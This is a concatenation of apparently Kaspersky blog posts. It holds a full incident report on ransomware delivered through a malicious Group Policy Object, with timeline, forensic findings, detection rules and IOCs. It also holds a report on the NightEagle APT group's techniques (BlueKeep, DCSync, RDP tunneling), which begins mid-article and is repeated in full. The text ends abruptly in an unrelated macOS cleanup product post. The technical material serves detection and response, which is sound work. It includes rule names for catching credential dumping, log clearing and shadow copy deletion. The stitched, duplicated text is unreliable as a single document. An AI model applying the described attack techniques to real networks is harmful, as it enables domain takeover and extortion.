The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.
Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victim’s entire Active Directory infrastructure.
Takeaways
To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the group’s efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagle’s presence on the network.
Detection by Kaspersky solutions
Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kaspersky’s collection.
The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:
Backdoor analysis with KTAE
However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.
This malicious activity is detected by the following rules, available in the repository:
Initial detection of the malicious signature occurs through the generic_ransomware_related_detection rule, based on EPP module events
In April 2026, we at Kaspersky’s Global Emergency Response Team (GERT) responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization’s Active Directory environment and authored a malicious Group Policy Object (GPO) named PAYLOAD, linking it at the domain root. Through that single object, the actor delivered ransom notes, hijacked the desktop wallpaper and lock screen, enforced a logon banner, and disabled the local administrator account across every domain-joined Windows workstation — all without dropping a ransomware binary or encrypting any data. The only ransomware we found in this incident was PAYLOAD sample targeting ESXi on Linux servers. Besides that, data exfiltration was observed originating from the file servers and several additional systems, and was later published on the dark web.
Living-off-the-land abuse of trusted AD infrastructure. Group Policy is a signed, allowlisted, SYSTEM-privileged distribution channel that the majority of endpoint detection and response tools is designed not to inspect. By delivering impact through GPO rather than through malware, the actor sidestepped the entire file- and process-based detection stack.
Encryptionless extortion. Industry telemetry shows extortion-only incidents grow significantly year-on-year. PAYLOAD fits this model; the leverage is operational disruption and the threat of escalation rather than cryptographic denial of data.
We confirmed that no files were encrypted on Windows machines, no malicious binaries were resident on disk, no endpoint persistence was established, and no malicious processes were running at the time of analysis. The entire attack lived inside Active Directory itself. The defensive implication is stark: an organization whose detection strategy depends on catching a ransomware executable would have seen nothing until the first endpoint rebooted and the ransom wallpaper appeared.
In this article, we will describe the GPO attack chain and provide operational advice on how to detect such threats, including detailed remediation recommendations.
Group Policy as an attack surface
Attacks through group policies are nothing new. They can inflict significant, domain-wide damage with multiple malicious capabilities. A Group Policy Object (GPO) is essentially a combination of a Group Policy Container (GPC) in Active Directory and a Group Policy Template (GPT) in SYSVOL. The Group Policy scope depends on whether the GPC is linked to the directory tree at the domain, site, or organization unit (OU) level. A link at the domain root means the policy applies to every computer and user object beneath it. Thus, a GPO compromised at the domain root can affect all in-scope domain users and computers, potentially granting an attacker complete control over the corporate network. What makes GPO abuse even more dangerous is that group policies are processed in a trusted, high-privilege environment, ensuring persistence because endpoint cleanup is not enough to remove them.
We have already discussed GPO architecture and ways it can be compromised in greater detail in an earlier blog post. Other public threat intelligence has also repeatedly documented this technique in ransomware operations. Microsoft observed Ryuk operators distributing ransomware through Group Policy, SYSVOL startup items, and PsExec. LockBit affiliates have been documented modifying SYSVOL Group Policy files, including ScheduledTasks.xml, to support ransomware execution and propagation. BlackCat/ALPHV operators have also abused GPOs to create scheduled tasks and deploy ransomware.
Another notable example of GPO abuse is PAYLOAD ransomware, which weaponizes GPO Preferences and policy settings for pure impact rather than as a launcher for an encryptor. Let’s take a closer look at this attack, which is detailed further below.
Attack timeline
During the April 2026 investigation, we managed to reconstruct the attack timeline as outlined below:
Date
Event
11 April
Initial access. Threat actor authenticates to the FortiGate SSL VPN using a valid but compromised domain credential.
13 April
GPO authored. Malicious GPO, PAYLOAD ({C897F2C7-C2AC-4E6F-BF48-58036FF29E79}) created and linked at the domain root, configuring ransom notes, wallpaper, lock screen, logon banner, and administrator account disablement.
13 April
SYSVOL staging. The payload.jpg and hello.txt files written to \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.
13 April
Second GPO. GPO named win Firewall Off ({22099AD2-E062-4F56-B574-5099BBA4E7A6}) linked at the domain root, disabling Windows Firewall on all profiles.
13 April
Dormancy. GPO cached on endpoints but computer configuration not yet applied — no endpoint had rebooted since the policy update.
13 April
Data exfiltration. Data exfiltration was observed originating from the file servers and several additional systems.
14 April
Detonation. Most of the endpoints begin rebooting; computer configuration policies apply. Ransom wallpaper, logon banner, and notes appear. Operational disruption begins.
15 April
Response. Kaspersky GERT engaged. Forensic triage of affected workstations and the domain controller initiated.
16 April
Assessment. GERT confirms no file encryption, no resident malware, no endpoint persistence.
Next, we will discuss each of these stages in more detail and share the findings from our incident response activities.
Incident overview
Initial access
The entry vector was a compromised valid account (MITRE ATT&CK T1078) used to authenticate through the organization’s FortiGate SSL VPN — an external remote service (T1133). Insufficient logging on the FortiGate appliance prevented us from reconstructing how the credential was originally compromised.
Three hypotheses were considered plausible in the context of the attack, in no particular order:
Password spraying or credential stuffing against the SSL VPN portal.
Phishing-led credential harvesting.
Purchase of pre-compromised credentials from an initial access broker (IAB).
Once on the internal network, the actor operated with the compromised security principal’s privileges. Because the account was able to create and link a GPO at the domain root, it held either domain admin privileges or a delegated equivalent (e.g., membership of Group Policy Creator Owners combined with link rights on the domain object).
FortiGate SSL VPN authentication logs and ESXi/virtualization privilege escalation logs were insufficient to reconstruct the lateral movement and privilege escalation chain between initial VPN access and the GPO write privilege level. The most common real-world routes to GPO control — DCSync, Kerberoasting of privileged service accounts, and Pass-the-Hash/Pass-the-Ticket — could not be confirmed or ruled out.
Execution
Rather than deploying an encryptor, the actor abused the victim’s Active Directory policy infrastructure, resulting in malicious GPOs being configured and linked at the domain root to deliver the observed impact across domain-joined systems. The two GPOs below constitute the entire offensive toolkit observed.
The PAYLOAD GPO
We performed a Resultant Set of Policy (RSOP) analysis, which helped us list all policy settings on the affected workstations. From these results, we reconstructed the following changes delivered by PAYLOAD:
Drop SYSVOL\hello.txt to the desktop and root directories C:\ and D:\ as a read-only README-payload.txt by tampering with the “Group Policy Files” client-side extension (CSE).
Modify the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ registry key, changing the legalnoticecaption value to "Welcome to Payload!" and the legalnoticetext to the ransom note text through the “Group Policy Registry” CSE.
Set payload.jpg located in the targeted domain controller’s SYSVOL as the lock screen image by altering the personalization policy, and as the wallpaper by altering the desktop policy at the user level.
Revoke administrator rights for the administrator account (locking the account) by editing the Security Settings CSE in the GptTmpl.inf file.
Settings changed by PAYLOAD GPO
This activity was enabled entirely through a legitimate group policy mechanism, meaning there is no malware code for security solutions to look for because the malicious logic is contained within the policy configuration.
The win Firewall Off GPO
A second domain-root-linked GPO, named “win Firewall Off”, disabled Windows Firewall across the domain, private and public profiles on all endpoints (T1562.004). Deployed independently of PAYLOAD, this object degraded host defenses and ensured the actor retained unimpeded network reach to endpoints for any follow-on activity.
Settings changed by win Firewall Off GPO
The one-day delay detonation
The most forensically instructive detail is the one-day gap between GPO creation (13 April) and visible impact (14 April). Analysis of Master File Table (MFT) timestamps and the Group Policy History registry key confirmed the policy was written to SYSVOL and cached on endpoints on 13 April. However, computer configuration settings (wallpaper and lock screen machine policy, security settings, firewall disabling) only apply upon reboot or policy refresh — and no endpoint had rebooted in the interim. The attack therefore remained dormant in the GPO cache for one day before detonating en masse when machines were restarted in accordance with standard procedures.
We have to point out here that this delayed policy application is characteristic of GPO-based operations and has two potential consequences for defenders. Firstly, it may grant the actor a quiet window for exfiltration, persistence, or further staging between weaponization and impact. Secondly, it can be used to sever the temporal link between the cause (a GPO-creation event in the directory log) and the effect (mass user-visible disruption occurring at a later time), complicating timeline reconstruction unless directory service auditing is in place.
Forensic findings
Initial incident response engagement revealed a number of findings associated with the attack that we share below.
No file encryption
A full review of the MFT on affected workstations found no files bearing a .payload extension characteristic to PAYLOAD ransomware and no evidence of bulk renaming or encryption I/O patterns. The attackers’ objectives were operational disruption and extortion via visual impact and access denial.
No endpoint persistence
All standard persistence locations were clean:
Scheduled tasks — no malicious tasks
Run/RunOnce keys — clean
Startup folders (user and system) — clean
Services — no malicious service installed
WMI event subscriptions — none
Boot sector/MBR — unmodified
The attack’s persistence mechanism is the GPO link itself on the domain controller, with no endpoint-resident component.
No active malicious processes
Live process and memory analysis revealed no injected threads, process hollowing or anomalous outbound connections.
Registry timeline analysis
Group Policy History, Shadow and State registry keys on the workstation recorded the application of PAYLOAD on 13 April:
HKLM\…\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\1
HKLM\…\Group Policy\Shadow\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\0
HKLM\…\Group Policy\State\Machine\GPO-List\7
HKCU\…\Group Policy\History\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}\1
HKCU\…\Group Policy\State\S-1-5-21-…\Loopback-GPO-List\5
The presence of the “Loopback-GPO-List” entry indicates the GPO was processed in loopback mode, ensuring the user configuration (wallpaper) applied regardless of which user logged on to the machine.
SYSVOL artifacts
Two files were staged on the domain controller’s SYSVOL share and served to endpoints through the Files Group Policy Preference CSE:
payload.jpg — the ransom image used for both wallpaper and lock screen.
hello.txt — the ransom note, distributed to desktops and drive roots as README-payload.txt.
Detection engineering
Because no malicious binary or process exists, the detection logic should focus on the directory service and SYSVOL indicators. Below are the highest-value telemetry sources for identifying the described malicious activity.
Directory service change auditing (DS Access)
Enable Advanced Audit Policy → DS Access → Audit Directory Service Changes on all domain controllers and set up alerts for the following events:
Event ID
Meaning
Hunt focus
5137
A directory service object was created
The account that created new groupPolicyContainer objects must be an authorized GPO administrator
5136
A directory service object was modified
Changes to gPLink on the domain root or sensitive organizational units; changes to gPCMachineExtensionNames/gPCUserExtensionNames/gPCFileSysPath/versionNumber for all GPOs
5141
A directory service object was deleted
GPO deletions (relevant for tamper detection and remediation assessment)
A gPLink modification at the domain root by a non-standard account is one of the most telling indicators of this attack class.
SYSVOL file integrity monitoring
Monitor \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\Policies\ for unexpected files, particularly image files, text files, scripts, ScheduledTasks.xml, and modified registry.pol/GptTmpl.inf files that were created by sources other than legitimate replication.
Endpoint policy application telemetry
On endpoints, GPO application is logged in the Group Policy Operational log (Microsoft-Windows-GroupPolicy/Operational) and reflected in the History and Shadow registry keys shown above. A sudden domain-wide change to the applied policy set is a strong post-detonation signal.
Missing 5136 events
If the contents of a GPO’s SYSVOL change without a corresponding 5136 event, this can indicate direct SYSVOL/template editing (e.g., via open-source tools such as PowerView or SharpGPOAbuse) that bypasses the normal Group Policy Management Console (GPMC) modification path. While we recommend treating the absence of expected audit events as suspicious, it should be noted that this can be caused by misconfigured auditing.
Anti-forensics and recovery-inhibition capabilities
Confirmed PAYLOAD family capabilities
The Windows endpoint attack described in this report was implemented through malicious Group Policy Objects and did not involve a recovered ransomware executable, resident endpoint malware, confirmed file encryption or active malicious processes at the time of the forensic examination. However, PAYLOAD cryptomalware for Windows does exist, and other sources, including public analysis of its samples, reveal further malicious capabilities of this ransomware that could be used by security teams to enrich detection logic and security policies.
The behaviors documented in this section must therefore be interpreted as family-level capabilities identified through the public reverse engineering of PAYLOAD ransomware samples. They were not confirmed as having executed during the GPO-based incident unless corresponding evidence was identified in the host, memory, process, event-log, or hypervisor.
Windows Event Log clearing
Public reverse engineering of the PAYLOAD Windows variant reveals an optional event log clearing capability (T1685.005, formerly T1070.001). The ransomware dynamically resolves Windows Event Log APIs, enumerates available event log channels, and clears individual channels.
Implementation artifacts include:
Runtime loading of wevtapi.dll
EvtOpenChannelEnum
EvtNextChannelPath
EvtClearLog
Enumeration of Security, System, Application, and PowerShell logs, and operational channels
A command-line option controlling whether log clearing is performed
Clearing event logs reduces the availability of records related to process execution, authentication, PowerShell, service control, and system changes. However, it does not necessarily remove events that were already forwarded to a SIEM, Windows Event Collector, EDR backend, or protected log archive.
Forensic indicators
Windows Security Event ID 1102
Event logging shutdown or failure events
Sudden reductions in event record identifiers
Multiple event channels restarting from low record numbers
Gaps between endpoint and centrally forwarded telemetry
Execution of utilities or APIs associated with log management
Direct access to EVTX files (Windows Event Log files) under the Windows event log directory
We should note that these indicators can’t be interpreted on their own. For instance, Event ID 1102 should be correlated with a number of aggravating factors, such as:
Event ID 4688 or Sysmon Event ID 1 for process creation
Event ID 4624 for the associated administrative logon
EDR process trees
PowerShell operational logging
Windows Event Forwarding records
Privileged access management activity
At the same time, the absence of Event ID 1102 does not prove that log clearing did not occur. Direct deletion, truncation, service impairment, or an incomplete audit configuration may produce different evidence.
Security process and service termination
PAYLOAD analysis reveals that the Windows ransomware variant contains logic that targets security processes and services (T1685 and T1489). This capability is intended to stop security products, backup software, database services, and applications that may lock files targeted for encryption.
Process and service termination serves several objectives:
Reduce endpoint detection and response visibility.
Release file handles so data can be modified.
Interrupt backup and recovery services.
Prevent databases and enterprise applications from protecting active data.
Reduce interference with encryption operations.
Forensic indicators
Security agent services changing from running to stopped
Event ID 7036 service state changes
Event ID 7040 service start type changes
Event ID 4688 or Sysmon Event ID 1 for service control utilities
Sysmon Event ID 5 for terminated processes
EDR health degradation affecting many endpoints
Repeated termination attempts against security or backup processes
Execution of dedicated process killing utilities
VSS deletion, backup and recovery suppression
Public PAYLOAD sample analysis reports the deletion of Windows Volume Shadow Copies before encryption (T1490). This behavior removes local restore points and reduces the victim’s ability to recover files without external backups.
Recovery inhibition is broader than VSS deletion and may include multiple other malicious techniques, including the following:
Deleting shadow copies, backup catalogs, and hypervisor snapshots
Disabling recovery services
Modifying boot recovery settings
Compromising backup management platforms
Deleting or encrypting backup repositories
In the PAYLOAD Windows sample that is proven to perform encryption, VSS deletion is confirmed to have taken place before encryption. A broader compromise of the backup platform was not established in the investigated incident.
Forensic indicators
Execution of shadow copy management utilities
Backup catalog deletion attempts
Recovery configuration changes
Backup service termination
Mass snapshot deletions
Backup administrator logons outside normal maintenance windows
Backup retention or immutability changes
Backup jobs failing immediately before disruptive activity
Ecosystem-relevant ransomware techniques
Above, we discussed the techniques specific to PAYLOAD ransomware. In this section, we’ll review other common ransomware techniques, such as BYOVD abuse and ESXi policy weakening, that remain relevant risks in the ransomware ecosystem. However, these techniques should not be attributed to this incident without supporting driver load, process, memory, ESXi, vCenter, or backup platform telemetry. We describe these techniques below as they may prove useful in other ransomware-related forensic investigations.
The examples used in this section are therefore ecosystem-relevant: they are commonly observed in ransomware operations but not conclusively attributed to the analyzed PAYLOAD samples.
ETW suppression and in-memory patching
Event Tracing for Windows (ETW) is a kernel-supported tracing architecture used by Windows components, diagnostic utilities, security products, and endpoint monitoring systems.
Although we didn’t encounter this technique in our case, some ransomware families can patch ETW-related functions inside the ransomware process (T1685, formerly T1562.001). The reported routine changes the memory protection of code pages, overwrites the beginning of selected ETW functions so they return without producing events, restores the original protection, and refreshes the instruction cache.
Reported target functions include EtwEventWrite, EtwEventWriteFull, EtwEventWriteTransfer, and EtwRegister.
This modification applies to the process-local mapping of ntdll.dll. It does not disable ETW globally across Windows, but it can reduce the telemetry generated by the modified process.
Forensic indicators
Writable or recently modified executable pages within ntdll.dll
Memory protection changes affecting ETW function addresses
In-memory code differing from the corresponding clean DLL on disk
EDR memory tampering alerts
Unexpected calls to memory protection APIs followed by telemetry silence
Process execution visible in network or filesystem telemetry but absent from expected ETW-derived sources
Inconsistent telemetry between EDR, Sysmon, Windows Event Logs, and network monitoring
It should be noted that telemetry gaps are not conclusive evidence of ETW patching. Other factors include agent upgrades, network outages, endpoint shutdowns, SIEM ingestion failures, collector backpressure, and filtering or licensing changes.
Memory acquisition is the strongest validation source when process-local ETW patching is suspected.
Vulnerable signed driver abuse, BYOVD
Bring Your Own Vulnerable Driver (BYOVD) involves introducing or abusing a legitimately signed but vulnerable kernel driver (T1068 and T1685). The attacker exploits the driver’s exposed functionality to gain kernel-level capabilities, modify protected memory, terminate security processes, remove security callbacks, or bypass operating system security controls.
BYOVD is highly relevant to contemporary ransomware operations. However, the reviewed public PAYLOAD analyses do not provide sufficient evidence to conclude that BYOVD is an intrinsic PAYLOAD capability.
It should therefore be presented as an ecosystem-relevant technique rather than a confirmed PAYLOAD feature.
Forensic indicators
Unexpected .sys files written to user-writable or temporary directories
New kernel driver services
Sysmon Event ID 6
Driver hashes matching Microsoft or community vulnerable driver blocklists
Invalid, revoked, expired, or unusual driver signatures
Driver load followed by EDR termination
New privileged processes immediately following driver loading
Code Integrity or Defender alerts
Service creation events referencing driver files
ESXi security policy weakening
Ransomware operators are increasingly targeting ESXi and vCenter because compromising the virtualization layer provides access to many business-critical virtual machines.
Public research typically describes operators performing the following activities (T1685, T1490 and T1489):
Enabling SSH on ESXi hosts
Changing root passwords
Disabling execInstalledOnly
Modifying lockdown mode exceptions
Stopping virtual machines
Deleting snapshots and backups
Changing host firewall policies
Copying custom ransomware binaries to hypervisors
On the target organization’s Linux servers we saw an ESXi PAYLOAD variant, which makes this behavior operationally relevant. Nevertheless, the reviewed evidence does not indicate that PAYLOAD operators used any of these policy-weakening actions in the investigated incident.
Forensic indicators
Unexpected ESXi SSH enablement
Changes to execInstalledOnly
Secure Boot enforcement changes
Lockdown mode configuration changes
Root password changes
New or unusual administrator accounts
Bulk VM shutdown activity
Bulk snapshot deletion
New binaries in datastore or temporary paths
vCenter tasks originating from unexpected accounts or systems
Missing or disabled remote syslog forwarding
Remediation
To contain the described threat and limit possible damage, several remediation steps should be taken. Below, we recommend a four-phase remediation approach for containing this threat and restoring the affected environment.
Phase 1 — domain controller actions (to be performed first)
When dealing with PAYLOAD GPO, the first priority of the remediation plan should be to remove the source GPOs. Until this is done, endpoint cleanup is ineffective because the next policy refresh re-infects cleaned machines.
The immediate domain controller actions to be taken are:
Delete PAYLOAD GPO. Remove {C897F2C7-C2AC-4E6F-BF48-58036FF29E79} via GPMC.
Delete or revert win Firewall Off GPO. Remove {22099AD2-E062-4F56-B574-5099BBA4E7A6}.
Clean SYSVOL. Delete jpg and hello.txt from \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.
Rotate credentials. Reset the compromised account; audit all privileged accounts and group memberships for unauthorized changes; rotate krbtgt twice if domain admin compromise is confirmed.
Force refresh. Perform gpupdate /force across endpoints after deletion; re-enable local administrator and firewall via clean policy.
Phase 2 — Active Directory and GPO hardening
Adopt the AD tiered administration model and confine domain admins to Tier 0 with no interactive logon to workstations and member servers.
Separate GPO creation from GPO linking rights, and grant both only to a dedicated, audited administrator role.
Enable GPO change auditing (Event IDs 5136, 5137, 5141) and forward to a SIEM.
Monitor SYSVOL with file integrity tooling.
Phase 3 — credential and access hardening
Enforce phishing-resistant MFA on all VPN and remote access entry points.
Deploy Windows LAPS to generate unique, rotated local administrator passwords.
PAYLOAD demonstrates a maturing tactic of turning the victim’s own trusted infrastructure into a weapon. By weaponizing Group Policy, the actor achieved a domain-wide impact without a single malicious binary on any endpoint, evaded file- and process-based detection entirely, and caused organization-wide disruption within seconds of the first reboot.
The absence of encryption is the most strategically significant finding and is consistent with the 2026 trend toward encryptionless extortion. At Kaspersky GERT, we assess with moderate confidence that the missing encryption reflects one of two scenarios: (1) a deliberate decision to stay below the irreversible data destruction threshold while preserving the option of a follow-on encryption phase, or (2) an operation interrupted before full execution.
The absence of encrypted files must not be mistaken for the absence of a serious compromise — the most critical impact lies in the actor gaining domain admin-level control. This incident proves that a threat actor with domain admin access and a working knowledge of group policy internals can inflict domain-wide disruption equivalent to a ransomware attack without writing a single malicious file to any endpoint.
Detection strategies anchored solely in file- or process-based indicators are blind to this attack class. Effective controls include directory service change auditing, SYSVOL integrity monitoring, and privileged access governance, which allow for GPO protection.
Detection by Kaspersky solutions
Kaspersky security solutions effectively detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.
To protect organizations that use our Kaspersky SIEM system, we have prepared a package of correlation rules designed to help detect this type of malicious activity. The rules are now available for customers to download from the SIEM repository; the package name is: [OOTB] Group policy hijacked: PAYLOAD ransomware – ENG.
The “Group policy hijacked: PAYLOAD ransomware” package contains rules that detect suspicious file creation or modification in the SYSVOL shared folder on a domain controller, as well as changes to critical attributes and settings of domain group policies. Some rules may require adjustment if they trigger in response to legitimate activity, such as synchronization between domain controllers or the configuration of a new group policy.
To ensure the detection rules function correctly, verify that events from Windows systems are being received in full, including events with the following identifiers: Sysmon: 11, Security — 4663, 5136, 4657.
We also recommend applying the following rules available in the repository to detect all attack stages.
Detection of Windows Event Log clearing to cover up traces of an attack: R050_03_Windows Event Log was cleared
Detection of suspicious access to the LSASS process, which may indicate attempts to dump credentials: R262_Suspicious access to the LSASS process
Detection of the Volume Shadow Copy service being started, which is used to create shadow copies before deleting them: R231_20_Running the Volume Shadow Copy service
Detection of shadow copy deletion: R321_Shadow copy deletion
Detection of Windows Defender disablement: R076_01_Windows Defender Antivirus was disabled
Detection of attempts to disable or modify the system firewall: R240_03_Disabling system firewall via the registry
Detection of a service installation from a non-system folder, which may indicate malware persistence techniques: R281_01_Installation of a service from a non-system folder
For the rules in this list to function correctly, it is necessary to configure Security event auditing for event IDs 4663, 5136, 4657, 7036, and 1102.
In addition to the SIEM system, when audit settings are configured correctly, the process of creating, modifying, and deleting GPOs generates a large number of characteristic artifacts on the domain controller, enabling Kaspersky Endpoint Detection and Response Expert to promptly alert the user to anomalies in the infrastructure.
The creation of a new GPO is covered by the gpo_creation rule, which triggers in response to the corresponding event in the infrastructure. Changes to existing policies are detected by the following rules:
The setting_the_gpcfilesyspath_attribute rule detects the use of the gPCFileSysPath attribute of a Group Policy Object, which specifies the path to the GPO’s contents in SYSVOL.
In the next major version update of Kaspersky EDR Expert, a new event type, GPO, will be introduced, allowing users to track changes to Group Policy Objects.
For information security officers, GPO events will serve as an additional source of context when investigating activity in Active Directory and will help detect changes that could affect the configuration, access rights, and security of endpoints before a potentially malicious policy is deployed.
MITRE ATT&CK mapping
Tactic
Technique
Observed behavior
Initial Access
T1078 — Valid Accounts
Compromised domain credential used for VPN authentication
Initial Access
T1133 — External Remote Services
FortiGate SSL VPN used as entry point
Privilege Escalation
T1078.002 — Domain Accounts
Account held domain-level GPO create/link rights
Privilege Escalation/Defense Impairment
T1484.001 — Group Policy Modification
Malicious PAYLOAD GPO created and linked at domain root; re-applies on every refresh/reboot; uses trusted channel to evade EDR
Defense Impairment
T1686 — Disable or Modify System Firewall
win Firewall Off GPO disables Windows Firewall on all profiles
Impact
T1491.001 — Internal Defacement
Wallpaper and lock screen replaced with ransom image
Impact
T1531 — Account Access Removal
Local Administrator account disabled via GPO Security Settings
Collection
T1005 — Data from Local System
Data exfiltration was observed originating from the file servers
Command and Control
T1071 — Application Layer Protocol
No live C2 confirmed; delivery achieved entirely via GPO
Indicators of compromise
GPOs
PAYLOAD ransomware GPO: {C897F2C7-C2AC-4E6F-BF48-58036FF29E79}
win Firewall Off GPO: {22099AD2-E062-4F56-B574-5099BBA4E7A6}
File names and MD5 hashes
payload.jpg: Ransom wallpaper and lock screen image (SYSVOL)
hello.txt: Ransom note source (SYSVOL)
README-payload.txt: Ransom note dropped to desktops and drive roots
killer.exe (0108656A3E1ADE6CA4F21B084F5E1208): process killer tool
kill.exe (BEA5E267F24D7DA59F6821BFFDBFF293): process killer tool
Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.
Initial access
In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.
GhostContainer on Microsoft Exchange
Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.
We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.
The backdoor is a .NET assembly containing three classes that implement its core functionality:
Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.
Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.
GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis
Traffic redirection
Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.
The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:
One of the repositories used for storing network tools
The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:
adobe_32.exe;
AdobeSync.exe;
trueconf.exe;
1cbroker.exe;
1c-office-plugin.exe;
trueconf-broker.exe.
Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.
Microsoft dev tunnels
This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.
Execution graph of adobe_32.exe in Kaspersky Research Sandbox
rdp2tcp
This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attacker’s side.
When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.
When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.
Creation event for a channel named rdp2tcp (server component startup)
The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.
The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:
To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.
In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.
Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit
The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.
Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victim’s entire Active Directory infrastructure.
Takeaways
To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the group’s efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagle’s presence on the network.
Detection by Kaspersky solutions
Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kaspersky’s collection.
The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:
Backdoor analysis with KTAE
However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.
This malicious activity is detected by the following rules, available in the repository:
Initial detection of the malicious signature occurs through the generic_ransomware_related_detection rule, based on EPP module events
Every so often you need to tidy up, and that goes for your devices as well as your closets and drawers. But a digital cleanup can turn out to be trickier than sorting through a messy closet — especially on macOS.
Getting rid of old photos and files is straightforward enough, but fully removing an app from macOS is another story. You’d think dragging an unwanted app to the Trash would do the job, but in practice, that app can leave behind settings files, cache, logs, helper files, and other related junk. Over time, all these leftovers pile up and eat away at your storage.
To make this kind of cleanup easier, Kaspersky Premium for macOS now includes a feature called App Cleaner. It removes apps along with all their related files, and it can also track down the remains of apps you deleted earlier. This post explains where these leftover files come from, shows you how to use App Cleaner, and explains why installing the first Mac cleanup tool you find online isn’t a great idea.
Why deleted apps leave traces on your Mac
